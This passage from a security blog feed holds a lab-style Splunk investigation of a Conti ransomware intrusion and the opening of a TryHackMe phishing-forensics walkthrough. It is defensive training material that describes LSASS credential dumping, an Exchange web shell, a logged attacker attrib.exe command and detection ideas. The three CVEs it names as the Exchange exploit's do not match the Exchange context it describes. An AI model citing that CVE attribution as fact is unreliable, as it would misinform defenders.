
&lt;h3 id=&quot;soc-report-3&quot;&gt;SOC Report&lt;/h3&gt;

&lt;h4 id=&quot;summary-3&quot;&gt;Summary&lt;/h4&gt;

&lt;p&gt;Telemetry identified attacker interaction with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lsass.exe&lt;/code&gt;, behavior commonly associated with credential dumping and credential access activity.&lt;/p&gt;

&lt;h4 id=&quot;timestamp-2&quot;&gt;Timestamp&lt;/h4&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2021-09-08 19:55:30.770 UTC&lt;/code&gt;&lt;/p&gt;

&lt;h4 id=&quot;detection-source-3&quot;&gt;Detection Source&lt;/h4&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Microsoft-Windows-Sysmon/Operational&lt;/code&gt;&lt;/p&gt;

&lt;h4 id=&quot;affected-asset-3&quot;&gt;Affected Asset&lt;/h4&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WIN-AOQKG2AS2Q7.bellybear.local&lt;/code&gt;&lt;/p&gt;

&lt;h4 id=&quot;description-3&quot;&gt;Description&lt;/h4&gt;

&lt;p&gt;Process injection activity targeting &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lsass.exe&lt;/code&gt; was identified shortly after compromise escalation activity involving &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;unsecapp.exe&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Because &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lsass.exe&lt;/code&gt; stores authentication material in memory, it is a common target for credential dumping operations.&lt;/p&gt;

&lt;h4 id=&quot;technical-analysis-3&quot;&gt;Technical Analysis&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;Confirmed process injection from:
    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;C:\Windows\System32\wbem\unsecapp.exe
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
    &lt;p&gt;to:&lt;/p&gt;
    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;C:\Windows\System32\lsass.exe
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;Activity occurred at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2021-09-08 19:55:30.770 UTC&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Behavior strongly aligns with credential theft operations used to obtain password hashes and authentication material&lt;/li&gt;
  &lt;li&gt;The attack chain progression suggests the threat actor was attempting to harvest credentials before ransomware deployment&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;mitre-attckmapping-3&quot;&gt;MITRE ATT&amp;amp;CK Mapping&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;T1055&lt;/code&gt; — Process Injection&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;T1003.001&lt;/code&gt; — OS Credential Dumping: LSASS Memory&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;findings-3&quot;&gt;Findings&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;True Positive — Credential dumping activity confirmed&lt;/strong&gt;&lt;/p&gt;

&lt;h3 id=&quot;actions-taken-3&quot;&gt;Actions Taken&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Investigated LSASS-related telemetry&lt;/li&gt;
  &lt;li&gt;Correlated process injection activity with prior compromise stages&lt;/li&gt;
  &lt;li&gt;Documented credential access behavior&lt;/li&gt;
  &lt;li&gt;Escalated the incident for containment and credential reset procedures&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;escalation-3&quot;&gt;Escalation&lt;/h3&gt;

&lt;p&gt;Escalated to L2 SOC / Incident Response Team&lt;/p&gt;

&lt;h3 id=&quot;recommendations-3&quot;&gt;Recommendations&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Reset all potentially exposed credentials&lt;/li&gt;
  &lt;li&gt;Investigate potential lateral movement activity&lt;/li&gt;
  &lt;li&gt;Enable LSASS protection where operationally feasible&lt;/li&gt;
  &lt;li&gt;Monitor for abnormal access to sensitive system processes&lt;/li&gt;
  &lt;li&gt;Review privileged authentication activity following the compromise&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;analyst-investigation-3&quot;&gt;Analyst Investigation&lt;/h3&gt;

&lt;h4 id=&quot;query-used-1&quot;&gt;Query used&lt;/h4&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;index=* &quot;C:\\Windows\\System32\\lsass.exe&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I searched for events involving &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lsass.exe&lt;/code&gt;, a common target for credential dumping activity on Windows systems.&lt;/p&gt;

&lt;p&gt;The search returned two relevant events.&lt;/p&gt;

&lt;p&gt;One of them revealed process injection activity from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;unsecapp.exe&lt;/code&gt; into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lsass.exe&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/conti-ransomware/1_qTExP-M0RwXHVAis72IxKg.png&quot; alt=&quot;1_qTExP-M0RwXHVAis72IxKg.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Because attackers frequently target LSASS memory to extract NTLM hashes, Kerberos tickets, and plaintext credentials, this event represented a strong indicator of credential access activity.&lt;/p&gt;

&lt;p&gt;Complete event details:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/conti-ransomware/1_wVgoClYUDrLjII-9mCb8Sw.png&quot; alt=&quot;1_wVgoClYUDrLjII-9mCb8Sw.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This same activity was also visible during the earlier investigation into Sysmon &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EventCode=8&lt;/code&gt; process injection events.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;..\assets/images/posts/conti-ransomware/1_jJWMKVHTjZdtu4iQ5HSQLA.png&quot; alt=&quot;1_jJWMKVHTjZdtu4iQ5HSQLA.png&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;alert-5web-shell-deployed-to-exchange-infrastructure&quot;&gt;Alert 5 — Web Shell Deployed to Exchange Infrastructure&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Critical&lt;/p&gt;

&lt;h3 id=&quot;original-questions&quot;&gt;Original Questions&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;What is the web shell the exploit deployed to the system?&lt;/li&gt;
  &lt;li&gt;What is the command line that executed this web shell?&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;soc-report-4&quot;&gt;SOC Report&lt;/h3&gt;

&lt;h4 id=&quot;summary-4&quot;&gt;Summary&lt;/h4&gt;

&lt;p&gt;A suspicious ASPX file consistent with web shell deployment activity was identified within the Microsoft Exchange web application directory.&lt;/p&gt;

&lt;h4 id=&quot;timestamp-3&quot;&gt;Timestamp&lt;/h4&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2021-09-08 19:52:09.748 UTC&lt;/code&gt;&lt;/p&gt;

&lt;h4 id=&quot;detection-source-4&quot;&gt;Detection Source&lt;/h4&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Microsoft-Windows-Sysmon/Operational&lt;/code&gt;&lt;/p&gt;

&lt;h4 id=&quot;affected-asset-4&quot;&gt;Affected Asset&lt;/h4&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WIN-AOQKG2AS2Q7.bellybear.local&lt;/code&gt;&lt;/p&gt;

&lt;h4 id=&quot;description-4&quot;&gt;Description&lt;/h4&gt;

&lt;p&gt;A suspicious &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.aspx&lt;/code&gt; file located inside the Exchange &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HttpProxy&lt;/code&gt; directory was modified using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;attrib.exe&lt;/code&gt;, a legitimate Windows utility frequently abused by attackers.&lt;/p&gt;

&lt;p&gt;The file path and extension strongly suggest deployment of a web shell used for remote command execution and persistence.&lt;/p&gt;

&lt;h4 id=&quot;technical-analysis-4&quot;&gt;Technical Analysis&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;Identified suspicious command execution involving:
    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;attrib.exe -r \\win-aoqkg2as2q7.bellybear.local\C$\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\i3gfPctK1c2x.aspx
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;Web shell identified:
    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;i3gfPctK1c2x.aspx
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;Observed HTTP POST requests involving the web shell between: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2021-09-08 19:51:36 UTC&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2021-09-08 19:51:50 UTC&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Detected successful HTTP &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;200&lt;/code&gt; responses and redirect &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;302&lt;/code&gt; responses associated with the file&lt;/li&gt;
  &lt;li&gt;Investigated related &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;w3wp.exe&lt;/code&gt; activity and identified behavior associated with Metasploit exploitation targeting IIS worker processes&lt;/li&gt;
  &lt;li&gt;Earliest related activity observed:&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2021-09-08 19:30:23.198 UTC&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;mitre-attckmapping-4&quot;&gt;MITRE ATT&amp;amp;CK Mapping&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;T1505.003&lt;/code&gt; — Web Shell&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;T1190&lt;/code&gt; — Exploit Public-Facing Application&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;findings-4&quot;&gt;Findings&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;True Positive — Exchange web shell deployment confirmed&lt;/strong&gt;&lt;/p&gt;

&lt;h3 id=&quot;actions-taken-4&quot;&gt;Actions Taken&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Investigated web-accessible file modifications&lt;/li&gt;
  &lt;li&gt;Correlated HTTP activity with IIS worker process telemetry&lt;/li&gt;
  &lt;li&gt;Identified potential Metasploit-related exploitation activity&lt;/li&gt;
  &lt;li&gt;Escalated the incident for containment and forensic review&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;escalation-4&quot;&gt;Escalation&lt;/h3&gt;

&lt;p&gt;Escalated to L2 SOC / Incident Response Team&lt;/p&gt;

&lt;h3 id=&quot;recommendations-4&quot;&gt;Recommendations&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Immediately isolate the Exchange server&lt;/li&gt;
  &lt;li&gt;Remove malicious web shell artifacts&lt;/li&gt;
  &lt;li&gt;Patch vulnerable Exchange infrastructure&lt;/li&gt;
  &lt;li&gt;Review IIS logs for additional attacker activity&lt;/li&gt;
  &lt;li&gt;Rotate all administrative and service account credentials&lt;/li&gt;
  &lt;li&gt;Conduct a full compromise assessment for persistence mechanisms&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;analyst-investigation-4&quot;&gt;Analyst Investigation&lt;/h3&gt;

&lt;h4 id=&quot;query-used-2&quot;&gt;Query used&lt;/h4&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;index=* EventCode=1 CommandLine=* NOT splunk*
| table UtcTime, CommandLine, Image
| sort UtcTime
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I searched for suspicious command-line activity occurring during the intrusion timeframe.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/conti-ransomware/1_2HX1a7tAEvdIydELskoI3Q.png&quot; alt=&quot;1_2HX1a7tAEvdIydELskoI3Q.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;One result immediately stood out: usage of the LOLBin &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;attrib.exe&lt;/code&gt; to remove the read-only attribute from an ASPX file located within the Exchange &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HttpProxy&lt;/code&gt; directory.&lt;/p&gt;

&lt;p&gt;The file path strongly suggested deployment or modification of a web shell.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/conti-ransomware/1_Pwb6jq5YyFyEOtT03x97lg.png&quot; alt=&quot;1_Pwb6jq5YyFyEOtT03x97lg.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Complete event details:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/conti-ransomware/1_Ma_NpnodZriH_a8radJkHw.png&quot; alt=&quot;1_Ma_NpnodZriH_a8radJkHw.png&quot; /&gt;&lt;/p&gt;

&lt;h4 id=&quot;investigating-the-web-shellactivity&quot;&gt;Investigating the web shell activity&lt;/h4&gt;

&lt;p&gt;Related activity involving &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;i3gfPctK1c2x.aspx&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/conti-ransomware/1_fhjzJ9VeynmjuW0hPXaQvA.png&quot; alt=&quot;1_fhjzJ9VeynmjuW0hPXaQvA.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;HTTP &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;200&lt;/code&gt; responses:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/conti-ransomware/1_De1_F0YwOHg7oKBwBHYvYQ.png&quot; alt=&quot;1_De1_F0YwOHg7oKBwBHYvYQ.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;HTTP &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;302&lt;/code&gt; responses:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/conti-ransomware/1_OTaLadMBrusMjKJ9ZuxQqQ.png&quot; alt=&quot;1_OTaLadMBrusMjKJ9ZuxQqQ.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Unhandled exception event also involving &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;w3wp.exe&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/conti-ransomware/1_ZEs4uAXDpx42Ys3s0XQ0nQ.png&quot; alt=&quot;1_ZEs4uAXDpx42Ys3s0XQ0nQ.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Search results related to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;w3wp.exe&lt;/code&gt; activity:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/conti-ransomware/1_kYTwcQIlwcILK07GQnH_XA.png&quot; alt=&quot;1_kYTwcQIlwcILK07GQnH_XA.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Reviewing the process activity revealed multiple events commonly associated with exploitation frameworks such as Metasploit interacting with Exchange infrastructure.&lt;/p&gt;

&lt;p&gt;Because &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;w3wp.exe&lt;/code&gt; is responsible for handling IIS web application requests, it is frequently targeted during exploitation of public-facing Microsoft Exchange vulnerabilities and web shell deployment.&lt;/p&gt;

&lt;p&gt;Details of the first observed Metasploit-related event:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/conti-ransomware/1_h7V1EEXj0oluSB57YKmsug.png&quot; alt=&quot;1_h7V1EEXj0oluSB57YKmsug.png&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;original-question-3&quot;&gt;Original Question&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;What three CVEs did this exploit leverage? Provide the answer in ascending order.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;analyst-investigation-5&quot;&gt;Analyst Investigation&lt;/h3&gt;

&lt;p&gt;This question required additional threat intelligence research.&lt;/p&gt;

&lt;p&gt;Researching known Conti intrusion chains and associated exploitation activity revealed the following CVEs:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;CVE-2018-13374
CVE-2018-13379
CVE-2020-0796
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/conti-ransomware/1_eo-3c_VHUZAdGAH8Rzx-MQ.png&quot; alt=&quot;1_eo-3c_VHUZAdGAH8Rzx-MQ.png&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;incident-timeline&quot;&gt;Incident Timeline&lt;/h3&gt;

&lt;p&gt;2021–09–08 19:30:23.198 UTC — First observed Metasploit-related connection involving &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;w3wp.exe
&lt;/code&gt;2021-09-08 19:51:36 - 19:51:50 UTC — Web shell communication activity involving &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;i3gfPctK1c2x.aspx
&lt;/code&gt;2021-09-08 19:52:09.748 UTC — Web shell modification activity detected&lt;br /&gt;
2021-09-08 19:54:12.665 UTC — PowerShell injected into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;unsecapp.exe
&lt;/code&gt;2021-09-08 19:55:30.770 UTC — &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;unsecapp.exe&lt;/code&gt; injected into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lsass.exe
&lt;/code&gt;2021-09-08 19:59:08.045 UTC — Malicious &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmd.exe&lt;/code&gt; written to Administrator Documents folder&lt;br /&gt;
2021-09-08 20:04:10.692 UTC — Unauthorized &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;securityninja&lt;/code&gt; account created&lt;br /&gt;
2021-09-08 20:04:10 UTC — &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;securityninja&lt;/code&gt; added to privileged groups&lt;br /&gt;
2021-09-08 20:05:32.431 UTC — Malicious &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmd.exe&lt;/code&gt; executed&lt;br /&gt;
2021-09-08 20:05:45.887 UTC — First ransomware note &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;readme.txt&lt;/code&gt; created&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;key-detection-opportunities&quot;&gt;Key Detection Opportunities&lt;/h3&gt;

&lt;p&gt;During this investigation, several opportunities for earlier detection became apparent:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Detection of suspicious ASPX file creation within Exchange web directories&lt;/li&gt;
  &lt;li&gt;Monitoring Sysmon Event ID 8 (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CreateRemoteThread&lt;/code&gt;) for process injection behavior&lt;/li&gt;
  &lt;li&gt;Alerting on executable files launched from user profile directories&lt;/li&gt;
  &lt;li&gt;Detecting LOLBin abuse involving &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;unsecapp.exe&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;attrib.exe&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Monitoring unauthorized privileged group modifications&lt;/li&gt;
  &lt;li&gt;Detecting suspicious local account creation&lt;/li&gt;
  &lt;li&gt;Identifying mass file creation behavior associated with ransomware deployment&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;skills-demonstrated&quot;&gt;Skills Demonstrated&lt;/h3&gt;

&lt;p&gt;This investigation demonstrates practical application of:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;SIEM investigation using Splunk&lt;/li&gt;
  &lt;li&gt;Sysmon log analysis&lt;/li&gt;
  &lt;li&gt;Windows Security Event Log analysis&lt;/li&gt;
  &lt;li&gt;Threat hunting methodology&lt;/li&gt;
  &lt;li&gt;IOC identification and validation&lt;/li&gt;
  &lt;li&gt;MITRE ATT&amp;amp;CK mapping&lt;/li&gt;
  &lt;li&gt;Process injection analysis&lt;/li&gt;
  &lt;li&gt;Web shell investigation&lt;/li&gt;
  &lt;li&gt;Ransomware behavioral analysis&lt;/li&gt;
  &lt;li&gt;Incident timeline reconstruction&lt;/li&gt;
  &lt;li&gt;SOC alert triage and escalation&lt;/li&gt;
  &lt;li&gt;Incident documentation and reporting&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h3&gt;

&lt;p&gt;This investigation demonstrated how multiple stages of a ransomware intrusion can be reconstructed through effective SIEM analysis and telemetry correlation.&lt;/p&gt;

&lt;p&gt;By approaching each challenge question as a real SOC alert rather than simply extracting answers, the investigation became significantly closer to workflows used in operational Security Operations Centers.&lt;/p&gt;

&lt;p&gt;Correlating process injection activity, credential dumping, persistence establishment, web shell deployment, and ransomware execution allowed the full attack chain to be documented from initial compromise through impact.&lt;/p&gt;
</description>
        <pubDate>Thu, 21 May 2026 12:01:35 +0000</pubDate>
        <link>https://citadelcybersec.github.io/conti-ransomware-splunk-investigation</link>
        <guid isPermaLink="true">https://citadelcybersec.github.io/conti-ransomware-splunk-investigation</guid>
        
        <category>soc</category>
        
        <category>splunk</category>
        
        <category>ransomware</category>
        
        <category>incident-response</category>
        
        <category>threat-hunting</category>
        
        
      </item>
    
      <item>
        <title>Investigating a Phishing Attack with Volatility and Olevba | TryHackMe Boogeyman 2</title>
        <description>&lt;h1 id=&quot;investigating-a-phishing-attack-with-volatility-and-olevba--tryhackme-boogeyman-2&quot;&gt;Investigating a Phishing Attack with Volatility and Olevba | TryHackMe Boogeyman 2&lt;/h1&gt;

&lt;p&gt;A hands-on DFIR walkthrough covering phishing analysis, malicious macros, memory forensics, C2 investigation, and persistence detection.&lt;/p&gt;

&lt;h3 id=&quot;scenario&quot;&gt;Scenario&lt;/h3&gt;

&lt;p&gt;This investigation focuses on a phishing attack targeting Maxine, a company employee who unknowingly executed a malicious attachment disguised as a legitimate Word document.&lt;/p&gt;

&lt;p&gt;Given this, you are tasked to perform a forensic investigation of the compromise.&lt;/p&gt;

&lt;p&gt;This TryHackMe room provides valuable hands-on experience in:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Phishing email analysis&lt;/li&gt;
  &lt;li&gt;Malware macro inspection&lt;/li&gt;
  &lt;li&gt;Memory forensics with Volatility 3&lt;/li&gt;
  &lt;li&gt;Process and network investigation&lt;/li&gt;
  &lt;li&gt;Persistence detection&lt;/li&gt;
  &lt;li&gt;Threat hunting techniques&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;artefacts-provided&quot;&gt;Artefacts Provided&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Copy of the phishing email&lt;/li&gt;
  &lt;li&gt;Memory dump of the victim’s workstation&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;tools-used&quot;&gt;Tools Used&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Volatility 3&lt;/li&gt;
  &lt;li&gt;Olevba&lt;/li&gt;
  &lt;li&gt;strings&lt;/li&gt;
  &lt;li&gt;grep&lt;/li&gt;
  &lt;li&gt;md5sum&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;question-1&quot;&gt;Question 1:&lt;/h3&gt;

&lt;p&gt;What email was used to send the phishing email?&lt;/p&gt;

&lt;h4 id=&quot;process&quot;&gt;Process:&lt;/h4&gt;

&lt;p&gt;I opened the phishing email using a text editor to inspect the raw email headers and metadata manually.&lt;/p&gt;

&lt;p&gt;Email headers are often one of the first areas analyzed during phishing investigations because they can reveal sender information, spoofing attempts, and suspicious infrastructure.&lt;/p&gt;

&lt;p&gt;I inspected the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;From&lt;/code&gt; field inside the email headers, which revealed the sender’s email address.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/boogeyman2/1_6hMAJeMzx1HMugOtc4wzxw.png&quot; alt=&quot;1_6hMAJeMzx1HMugOtc4wzxw.png&quot; /&gt;&lt;/p&gt;

&lt;h4 id=&quot;answer&quot;&gt;Answer:&lt;/h4&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;westaylor23@outlook.com&lt;/code&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;question-2&quot;&gt;Question 2:&lt;/h3&gt;

&lt;p&gt;What is the email of the victim employee?&lt;/p&gt;

&lt;h4 id=&quot;process-1&quot;&gt;Process:&lt;/h4&gt;

&lt;p&gt;While still analyzing the email headers from the same phishing message, I examined the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;To&lt;/code&gt; field to identify the intended recipient.&lt;/p&gt;

&lt;p&gt;Reviewing recipient information helps confirm which user account received and interacted with the malicious email.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/boogeyman2/1_d59ISOJpYAXsEiD_zIjIDA.png&quot; alt=&quot;1_d59ISOJpYAXsEiD_zIjIDA.png&quot; /&gt;&lt;/p&gt;

&lt;h4 id=&quot;answer-1&quot;&gt;Answer:&lt;/h4&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;maxine.beck@quicklogisticsorg.onmicrosoft.com&lt;/code&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;question-3&quot;&gt;Question 3:&lt;/h3&gt;

&lt;p&gt;What is the name of the attached malicious document?&lt;/p&gt;

&lt;h4 id=&quot;process-2&quot;&gt;Process:&lt;/h4&gt;

&lt;p&gt;Continuing the inspection of the raw email contents, I searched for attachment-related metadata entries.&lt;/p&gt;

&lt;p&gt;Attachment details are commonly stored inside &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Content-Disposition&lt;/code&gt; fields, which often contain filenames and file metadata.&lt;/p&gt;

&lt;p&gt;I located the following entry:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Content-Disposition: attachment; filename=&quot;Resume_WesleyTaylor.doc&quot;; size=64000
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This revealed the name of the malicious attachment delivered through the phishing email.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/boogeyman2/1_x_shty-9tnjtv1g_u1AbIg.png&quot; alt=&quot;1_x_shty-9tnjtv1g_u1AbIg.png&quot; /&gt;&lt;/p&gt;

&lt;h4 id=&quot;answer-2&quot;&gt;Answer:&lt;/h4&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Resume_WesleyTaylor.doc&lt;/code&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;question-4&quot;&gt;Question 4:&lt;/h3&gt;

&lt;p&gt;What is the MD5 hash of the malicious attachment?&lt;/p&gt;

&lt;h4 id=&quot;process-3&quot;&gt;Process:&lt;/h4&gt;

&lt;p&gt;To analyze the malicious document further, I opened the phishing email using the forensic VM’s email client and downloaded the attachment locally.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/boogeyman2/1_TMZT3_igCKZD9remgBbCcg.png&quot; alt=&quot;1_TMZT3_igCKZD9remgBbCcg.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I then used &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;md5sum&lt;/code&gt; to calculate the MD5 hash of the file.&lt;/p&gt;

&lt;p&gt;Hashing files is a standard forensic step because hashes help verify integrity and identify known malware samples across investigations.&lt;/p&gt;
